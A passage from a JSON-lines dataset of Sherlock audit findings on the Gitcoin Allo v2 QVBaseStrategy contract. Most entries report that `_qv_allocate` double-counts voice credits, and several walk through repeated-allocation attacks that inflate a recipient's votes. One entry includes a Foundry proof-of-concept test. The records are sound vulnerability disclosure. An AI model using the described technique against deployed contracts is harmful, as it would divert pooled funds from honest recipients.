`votesCastToRecipient`","severity":"medium","body":"Tart Holographic Lion\n\nhigh\n\n# `_qv_allocate` doesn't properly set `votesCastToRecipient`\n\n`_qv_allocate` in `QVBaseStrategy.sol` doesn't properly update `_allocator.voiceCreditsCastToRecipient`. \n\n## Vulnerability Detail\n\nIn `_qv_allocate` in `QVBaseStrategy.sol`, we see the following line:\n\n`_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;`\n\nHowever, `totalCredits` actually represents the total number of voice credits the allocator has allotted to the recipient thus far, including the amount it just allotted. So, the correct should be:\n\n`_allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;`\n\nThe fact that `+=` is used instead of `=` means that an allocator can exponentially increase the number of voice credits allotted to a recipient by constantly calling `allocate` (and thus the number of votes for that recipient increases drastically as well). As an example, let's say that every time the allocator calls `allocate`, they only attempt to allocate 1 voice credit. During the first call, `totalCredits` will be set to 1, the next time it will be set to 3 (1 + 2), then 7, then 15, etc. Notice the exponential increase. The number of votes for that recipient will increase drastically as well because we have the line:`uint256 voteResult = _sqrt(totalCredits * 1e18);`. By providing this extremely large amount of votes to a single recipient, the allocator can pretty much choose who receives almost all the funding. \n\nIf we combine this with the other issue I mentioned (https://github.com/sherlock-audit/2023-09-Gitcoin-detectiveking123/issues/1) where the allocator can bypass `maxVoiceCreditsPerAllocator`, then note that the allocator also never has to worry about the `maxVoiceCreditsPerAllocator` limit while doing this exponential attack (though if `maxVoiceCreditsPerAllocator` is high enough they might not have to worry about it anyways). \n\n## Impact\n\nAllocator can assign an extremely large amount of votes to a recipient, which pretty much means this recipient will get all the funding. \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L517-L529\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUse `_allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;` instead of `_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/280.md"}} +{"title":"Flawed Allocation Logic Potentially Doubles Voice Credits to Recipients in QVBaseStrategy","severity":"medium","body":"Uneven Holographic Llama\n\nhigh\n\n# Flawed Allocation Logic Potentially Doubles Voice Credits to Recipients in QVBaseStrategy\nThe _qv_allocate function within the QVBaseStrategy contract contains a logical flaw that doubles the voiceCredits already cast (_allocator.voiceCreditsCastToRecipient[_recipientId]) to a recipient by an allocator whenever an allocator attemps to add more voice credits. \n\n## Vulnerability Detail\nWhen allocating credits to a recipient, the _qv_allocate function call is the last call at the operations flow. It is crucial in ensuring the proper values are accounted for and state updates conform to the business logic.\nThe function first calculates totalCredits as the sum of _voiceCreditsToAllocate and creditsCastToRecipient (which is the previously allocated credits). \n\n```solidity\nuint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\nuint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n...\n_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n\n```\n\nLater in the function, it then adds totalCredits to the initial creditsCastToRecipient, meaning the sum is:\n$allocator.voiceCreditsCastToRecipient[recipientId] + voiceCreditsToAllocate + allocator.voiceCreditsCastToRecipient[recipientId]$\n\nThis approach effectively doubles the voice credits allocated to a recipient, as it sums the previously allocated credits with the new ones and then adds the voice credits allocated to a recipient again.\n\n## Impact\nThis can allow users to allocate more voice credits than they should be able to, thereby potentially manipulating the outcome of a vote.\n\n## Code Snippet\n[From QVBaseStrategy.sol:](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534)\n```solidity\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nCorrect the logic to ensure that voice credits aren't being doubled. One potential fix is to set the voiceCreditsCastToRecipient by _voiceCreditsToAllocate to equal totalCredits instead of summing totalCredits to this value:\n```solidity\n_allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/272.md"}} +{"title":"In QV strategy, a clever allocator can get exponentially-many votes","severity":"medium","body":"Merry Punch Caterpillar\n\nhigh\n\n# In QV strategy, a clever allocator can get exponentially-many votes\n\nAn incorrect calculation in _qv_allocate causes the number of credits cast to a recipient to at least double with every call. This means that anyone willing to spend the gas can give nearly 100% of votes to the candidate of their choice.\n\nThere is another bug where `allocator.voiceCredits` is never updated, giving each voter infinitely-many votes. If that bug is fixed, this one will remain, and vice-versa. Funny enough, this one is actually worse, as it allows reaching insanely-high number of votes with much less gas.\n\n## Vulnerability Detail\n\n1. A QV strategy pool is created. Each allocator is given 11e18 voice credits, including Alice.\n2. Alice calls allocate() to give 10e18 voice credits to her favorite candidate\n3. Alice calls allocate() again to give 1 voice credit to her favorite candidate.\n4. The following code runs. After running it, Alice has only cast `sqrt(10e18+1)` votes, but `allocators[alice].voiceCreditsCastTeRecipient[candidate]` is now 20e18+1.\n\nFrom https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L517C9-L529C78\n\n```solidity\nuint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n// ...\nuint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n// ...\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n```\n\n5. Alice calls allocate() again with 1 voice credit. This time, Alice has cast `sqrt(20e18+2)` votes, and afterwards `allocators[alice].voiceCreditsCastTeRecipient[candidate]` is now 40e18+3.\n\n6. Alice continues calling allocate() with 1 credit at a time. Each time, the number of voice credits cast to her candidate doubles, and the number of votes is multiplied by a factor of sqrt(2)\n\n## Impact\n\nThe QV voting mechanism becomes meaningless; anyone willing to spend the gas can give nearly 100% of votes to their favorite candidate.\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nChange the `+=` on line 529 of QVBaseStrategy.sol to an `=`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/260.md"}} +{"title":"Multiple allocations in QVSimpleStrategy with the same allocator and recipient result in recipient gaining more votes than intended","severity":"medium","body":"Sneaky Amethyst Robin\n\nhigh\n\n# Multiple allocations in QVSimpleStrategy with the same allocator and recipient result in recipient gaining more votes than intended\n\nIncorrect accounting logic leads to recipients receiving more votes than intended when the same allocator allocates to them more than once.\n\n## Vulnerability Detail\n\nIn `QVBaseStrategy._qv_allocate`, we find the sum of `_voiceCreditsToAllocate` and `_allocator.voiceCreditsCastToRecipient` to determine the correct amount of votes to provide the recipient. The problem is that we then increment `_allocator.voiceCreditsCastToRecipient` by this full amount when we should be setting it as this amount. Every subsequent allocation from the same allocator to the same recipient results in the total amount of credits increasing by what should be the new total, compounding the amount of credits the recipient receives. A malicious allocator can best manipulate this by allocating one voice credit per call until they reach their allocation limit.\n\n## Impact\n\nRecipient receives more credits, thus more votes and a larger proportional payout than intended.\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L517\n```solidity\nuint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n\n...\n\nuint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n\n...\n\n// @audit should be setting this as totalCredits rather than incrementing\n_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nInstead of incrementing `_allocator.voiceCreditsCastToRecipient[_recipientId]` by `totalCredits`, we should just set it as `totalCredits`. e.g.\n\n```solidity\n_allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/244.md"}} +{"title":"QVBaseStrategy.sol","severity":"medium","body":"Macho Slate Copperhead\n\nmedium\n\n# QVBaseStrategy.sol\nUnder function _**_qv_allocate**_, the mapping _**voiceCreditsCastToRecipient**_ is updated erroneously by adding more credit than it has actually allocated.\n\n## Vulnerability Detail\nUnder function _**_qv_allocate**_, the mapping _**voiceCreditsCastToRecipient**_ is updated by adding the voice credits allocated (_**_voiceCreditsToAllocate**_). It, however, updates _**voiceCreditsCastToRecipient**_ by adding **_totalCredits_** which already contains _**creditsCastToRecipient**_ so adding it twice.\n\nLet's assume that _**recipientId**_ gets allocated 4 voice credits. If we check the mapping(address => uint256) _**voiceCreditsCastToRecipient**_ within the allocator - _**allocator.voiceCreditsCastToRecipient[recipientId]**_, it wil yield 4.\nLet's assume now that _**recipientId**_ gets allocated 1 voice credit more from the same allocator. The mapping _**voiceCreditsCastToRecipient**_ will now yield 9. The previous amount is added twice (i.e. 4 + 4 +1)\n\n## Impact\nThe Allocator will have more credits allocated to a given recipient than it was actually allocated.\n\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L529\n## Tool used\n\nManual Review\n\n## Recommendation\nUpdate LOC529 with:\n_**_allocator.voiceCreditsCastToRecipient[_recipientId] += _voiceCreditsToAllocate;**_","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/149.md"}} +{"title":"Incorrect caching of previous credits in `_qv_allocate` result in amplified voting result","severity":"medium","body":"Clumsy Pecan Jay\n\nhigh\n\n# Incorrect caching of previous credits in `_qv_allocate` result in amplified voting result\n\nQuadratic voting base strategy `_qv_allocate` allows a voter to vote multiple times. \nOn each call to `_qv_allocate` the previous credits plus new credits are used to calculate the added votes.\nHowever - both the OLD and NEW credits are ADDED to the cache of credits which results in amplified previous credits when calculating the votes.\n\n## Vulnerability Detail\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506\n```solidity\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n----------\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits; \n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n----------\n\n }\n```\n\nThe above code takes two previous (cached) values:\n* creditsCastToRecipient - previous credits used by the allocator for the recipient\n* votesCastToRecipient - previous votes the allocator generated for the recipient\n\nThe the *NEW* credits along with the *CACHED* credits are stored in `totalCredit` and used to calculate the total votes \n```solidity\nuint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n``` \n`totalCredit` is then used to calculate the new votes.\n\nAt the end of the function `totalCredit` is appended to the `voiceCreditsCastToRecipient` map to store it for the next allocation\n```solidity\n_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits; \n```\n\nThe above snippet is incorrect since `voiceCreditsCastToRecipient` already holds the *CACHED* value.\n\nConsider `voiceCreditsCastToRecipient` value is `x` and `_voiceCreditsToAllocate` is `y`:\n1. `totalCredit = x + y`\n2. The caching is `x = x + totalCredit` = `x = x + x +y` - which is incorrect (should be `x = x + y`)\n\nLets take the following examples which should be identical:\n1.`Allocator` calls `_qv_allocate` with `12` credits - this results in `_sqrt(12 * 1e18)` (3464101615) votes.\n2. `Allocator` calls `_qv_allocate` `3` times with `4` credits (12/3) - this results in `_sqrt(16 * 1e18)` (4000000000) votes\n\n## Impact\n\nThe Incorrect voting mechanism is always applies for innocent allocators and malicious allocators.\nThis will result in increased votes which leads to increased payout (loss of funds)\n\n## Code Snippet\n\nI created the following POC with the above example.\n\nAdd the following test to `QVSimpleStrategy.t.sol`\n```solidity\n function _sqrt(uint256 x) internal pure returns (uint256 y) {\n uint256 z = (x + 1) / 2;\n y = x;\n while (z < y) {\n y = z;\n z = (x / z + z) / 2;\n }\n }\n function test_allocateIncorrectCalculation() public virtual {\n // Setup recipient and allocator\n address recipientId = __register_accept_recipient();\n address allocator = randomAddress();\n vm.prank(pool_manager2());\n qvSimpleStrategy().addAllocator(allocator);\n\n // Fast-forward to after allocation starts\n vm.warp(allocationStartTime + 10);\n\n // Generate data for allocating 4 votes to recipient\n uint256 votes = 4;\n bytes memory allocateData = __generateAllocation(recipientId, votes);\n\n vm.startPrank(address(allo()));\n\n // Perform 3 allocations of 4 votes\n qvStrategy().allocate(allocateData, allocator);\n qvStrategy().allocate(allocateData, allocator);\n qvStrategy().allocate(allocateData, allocator);\n\n // Get recipient\n QVBaseStrategy.Recipient memory recipientAfterVotes = qvStrategy().getRecipient(recipientId);\n \n // Validate that the total votes recieved is not equal 3 allocations of votes (4)\n assertNotEq(recipientAfterVotes.totalVotesReceived, _sqrt(votes * 3 * 1e18));\n // Validate that the total votes received is equal to 4 allocates of votes (4)\n assertEq(recipientAfterVotes.totalVotesReceived, _sqrt(votes * 4 * 1e18));\n }\n```\n\nTo execute the test run the command:\n```solidity\nforge test --match-test \"test_allocateIncorrectCalculation\" -v \n```\n\nExpected output:\n```solidity\nRunning 1 test for test/foundry/strategies/QVSimpleStrategy.t.sol:QVSimpleStrategyTest\n[PASS] test_allocateIncorrectCalculation() (gas: 355987)\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.85ms\n \nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\n```\n## Tool used\n\nManual Review\n\n## Recommendation\n\nin `_qv_allocate` swap:\n```solidity\n_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n```\nWith:\n```solidity\n_allocator.voiceCreditsCastToRecipient[_recipientId] += _voiceCreditsToAllocate;\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/141.md"}} +{"title":"Multiple allocations to the same recipient by the same allocator will heavily inflate their received votes in `QV` strategies","severity":"medium","body":"Glamorous Hazelnut Haddock\n\nhigh\n\n# Multiple allocations to the same recipient by the same allocator will heavily inflate their received votes in `QV` strategies\nExcessive increase to `voiceCreditsCastToRecipient` in `_qv_allocate` will heavily inflate received votes for a recipient in subsequent allocations made by the same allocator.\n\n## Vulnerability Detail\nIn `_qv_allocate`, `totalCredits` refers to the total credits the allocator will have allocated to the recipient after the transaction finishes. `_allocator.voiceCreditsCastToRecipient[_recipientId]` is *increased* by `totalCredits` rather than set to it, double counting the voice credits already allocated to the recipient beforehand. \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L517-L530\n```solidity\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n```\nThis means repeated allocations to the same recipient will heavily inflate `voiceCreditsCastToRecipient`. Since `voteResult` is calculated based on `totalCredits` which includes the stored `voiceCreditsCastToRecipient`, the `totalVotesReceived` for the recipient will also be heavily inflated. \n\n## Impact\nInflated `totalVotesReceived` for multiple allocations to the same recipient by the same allocator allowing exploiters to artificially inflate specific recipients' total share of votes, and consequently the share of funding received by those recipients.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L517-L530\n\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider only increasing `voiceCreditsCaseToRecipient` by `_voiceCreditsToAllocate`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/126.md"}} +{"title":"An allocator can game the fairness of vote calculations by providing batches of relatively small amount of votes for one recipient instead of voting in full with his vote credits","severity":"medium","body":"Suave Peanut Panda\n\nhigh\n\n# An allocator can game the fairness of vote calculations by providing batches of relatively small amount of votes for one recipient instead of voting in full with his vote credits\n`QVBaseStrategy` utilizes the quadratic voting functionality by using and updating `voiceCreditsCastToRecipient` and `votesCastToRecipient` variables per each allocator. In its `_qv_allocate()`function it takes the square root of `totalCredits` (**the square root of total voice credits casted to this recipient from this allocator plus the voice credits an allocator wishes to allocate now**), then subtracts from the result the total votes casted and updates the votes casted accordingly. It also updates the `voiceCreditsCastToRecipient` variable by adding the `totalCredits`. However, due to the fact that this update accounts for `voiceCreditsCastToRecipient` twice, it is possible for an allocator to game the fairness of the system by allocating votes in small batches.\n## Vulnerability Detail\nIn `_qv_allocate()` function\n```solidity\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n```\nThe vulnerable line here is \n```solidity\n_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n```\nSince `totalCredits` includes noy-yet-updated `_allocator.voiceCreditsCastToRecipient[_recipientId]`, it is the same as \n```solidity\n_allocator.voiceCreditsCastToRecipient[_recipientId] = _allocator.voiceCreditsCastToRecipient[_recipientId] + _allocator.voiceCreditsCastToRecipient[_recipientId] + _voiceCreditsToAllocate\n```\nNow, with that in mind let's consider the following scenario:\nAlice wishes to allocate credits to Bob. The total amount of voice credits she has is 900 (totalAmount). If Alice were to allocate her totalAmount in one transaction, Bob would receive 30 votes. But Alice knows about this vulnerability and split allocation in three transactions, with `_voiceCreditsToAllocate` being 100, 300 and 500 for each function call.\n* In the first call `totalCredits` are only 100 since `creditsCastToRecipient` is zero, so: `_recipient.totalVotesReceived = 10`, `_allocator.voiceCreditsCastToRecipient[_recipientId] = 100`;\n* In the second call `totalCredits = 300 + 100 = 400` and the `voteResult = 20 - 10 = 10` , so: `_recipient.totalVotesReceived = 10 + 10 = 20`, `_allocator.voiceCreditsCastToRecipient[_recipientId] = 100 + 400 = 500`;\n* In the third call `totalCredits = 1000`, `voteResult = 100 - 20 = 80`, `_recipient.totalVotesReceived = 20 + 80 = 100`, `_allocator.voiceCreditsCastToRecipient[_recipientId] = 500 + 1000 = 1500`\n\nNow, instead of receiving 30 votes for 900 voice credits, Bob gets 100 votes for the same amount of voice credits, meaning that he will receive more tokens during distribution, since the actual amount to distribute is depended on `totalRecipientVotes` \n```solidity\n amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes;\n```\nIt means that every other recipient for that distribution (bearing in mind that only Bob received more that he is entitled to) will receive less tokens, hence Bob will receive more.\n\nIt should be noted that it could even be more detrimental if Alice were to split her allocation in more that three batches.\n## Impact\nThe fairness of quadratic voting is broken, one could gain advantage by utilizing such a flaw in the system at the expense of other users.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L559-L574\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L436-L449\n## Tool used\n\nManual Review\n\n## Recommendation\nInstead of adding `totalCredits` to `voiceCreditsCastToRecipient`, just add `_voiceCreditsToAllocate`:\n```solidity\n_allocator.voiceCreditsCastToRecipient[_recipientId] += _voiceCreditsToAllocate;\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/087.md"}} +{"title":"`QVBaseStrategy._qv_allocate` miscalculate `voiceCreditsCastToRecipient`","severity":"medium","body":"Clever Metal Giraffe\n\nhigh\n\n# `QVBaseStrategy._qv_allocate` miscalculate `voiceCreditsCastToRecipient`\n\n`QVBaseStrategy._qv_allocate` is used to calculate the votes for quadratic voting. And it updates `voiceCreditsCastToRecipient[_recipientId]` to record the total credits that the allocator cast to the recipient. However, it calculates the total credits incorrectly.\n\n## Vulnerability Detail\n\n`QVBaseStrategy._qv_allocate` calculates the votes for quadratic voting. And it updates `_allocator.voiceCreditsCastToRecipient[_recipientId]`\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529\n```solidity\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```\n\nSuppose `_allocator.voiceCreditsCastToRecipient[_recipientId]` is 100e18 and `_voiceCreditsToAllocate` is also 100e18:\n```solidity\ncreditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId] = 100e18\ntotalCredits = _voiceCreditsToAllocate + creditsCastToRecipient = 100e18 + 100e18 = 200e18\n_allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits; // _allocator.voiceCreditsCastToRecipient[_recipientId] = 100e18 + 200e18 = 300e18\n```\n\nAt the end, `_allocator.voiceCreditsCastToRecipient[_recipientId]` becomes 300e18. But the total credits should be 200e18. And the allocator gets higher `totalCredits` next time doing allocation.\n\n## Impact\n\n`_allocator.voiceCreditsCastToRecipient[_recipientId]` would be higher than the actual value. The allocator has more votes. \n\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L529\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nCorrect the calculation of new `_allocator.voiceCreditsCastToRecipient[_recipientId]`\n```diff\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n- _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n+ _allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/078.md"}} +{"title":"Allocator who allocates additional votes to same recipient can provide more votes","severity":"medium","body":"Savory Boysenberry Cobra\n\nhigh\n\n# Allocator who allocates additional votes to same recipient can provide more votes\nAllocator who allocates additional votes to same recipient can provide more votes, because of wrong calculations.\n## Vulnerability Detail\n`QVBaseStrategy._qv_allocate` function is responsible to allocate correct amount of votes to the user.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n```solidity\n function _qv_allocate(\n Allocator storage _allocator,\n Recipient storage _recipient,\n address _recipientId,\n uint256 _voiceCreditsToAllocate,\n address _sender\n ) internal onlyActiveAllocation {\n // check the `_voiceCreditsToAllocate` is > 0\n if (_voiceCreditsToAllocate == 0) revert INVALID();\n\n\n // get the previous values\n uint256 creditsCastToRecipient = _allocator.voiceCreditsCastToRecipient[_recipientId];\n uint256 votesCastToRecipient = _allocator.votesCastToRecipient[_recipientId];\n\n\n // get the total credits and calculate the vote result\n uint256 totalCredits = _voiceCreditsToAllocate + creditsCastToRecipient;\n uint256 voteResult = _sqrt(totalCredits * 1e18);\n\n\n // update the values\n voteResult -= votesCastToRecipient;\n totalRecipientVotes += voteResult;\n _recipient.totalVotesReceived += voteResult;\n\n\n _allocator.voiceCreditsCastToRecipient[_recipientId] += totalCredits;\n _allocator.votesCastToRecipient[_recipientId] += voteResult;\n\n\n // emit the event with the vote results\n emit Allocated(_recipientId, voteResult, _sender);\n }\n```\n\nIn order to calculate amount of votes that user gets, function uses already allocated funds + current allocated funds and find root square of it. This total credits and total votes are `totalCredits` and `voteResult` variables.\n\nNow user's total votes are updated correctly without already existed votes. But `_allocator.voiceCreditsCastToRecipient` and `_allocator.votesCastToRecipient` variables are increased with total credits and votes which is incorrect as they already contain part of those funds/votes.\n\nAs result when allocator will be allocating more credits to same recipient, then incorrect amount will be used as existing credit and votes, which will actually break calculations.\n## Impact\nVoting will not work correctly.\n## Code Snippet\nProvided above\n## Tool used\n\nManual Review\n\n## Recommendation\nChange to this\n```solidity\n_allocator.voiceCreditsCastToRecipient[_recipientId] = totalCredits;\n_allocator.votesCastToRecipient[_recipientId] = voteResult;\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//004-M/060.md"}} +{"title":"Exponential Inflation of Voice Credits in Quadratic Voting Strategy","severity":"medium","body":"Rapid Lead Cricket\n\nmedium\n\n# Exponential Inflation of Voice Credits in Quadratic Voting Strategy\nThe current implementation of the `_qv_allocate` function in the quadratic voting strategy lead to an exponential inflation of voice credits cast to a recipient due to repeated addition of previous allocations. This will significantly distort the voting outcome and undermine the integrity of the voting system\n\n## Vulnerability 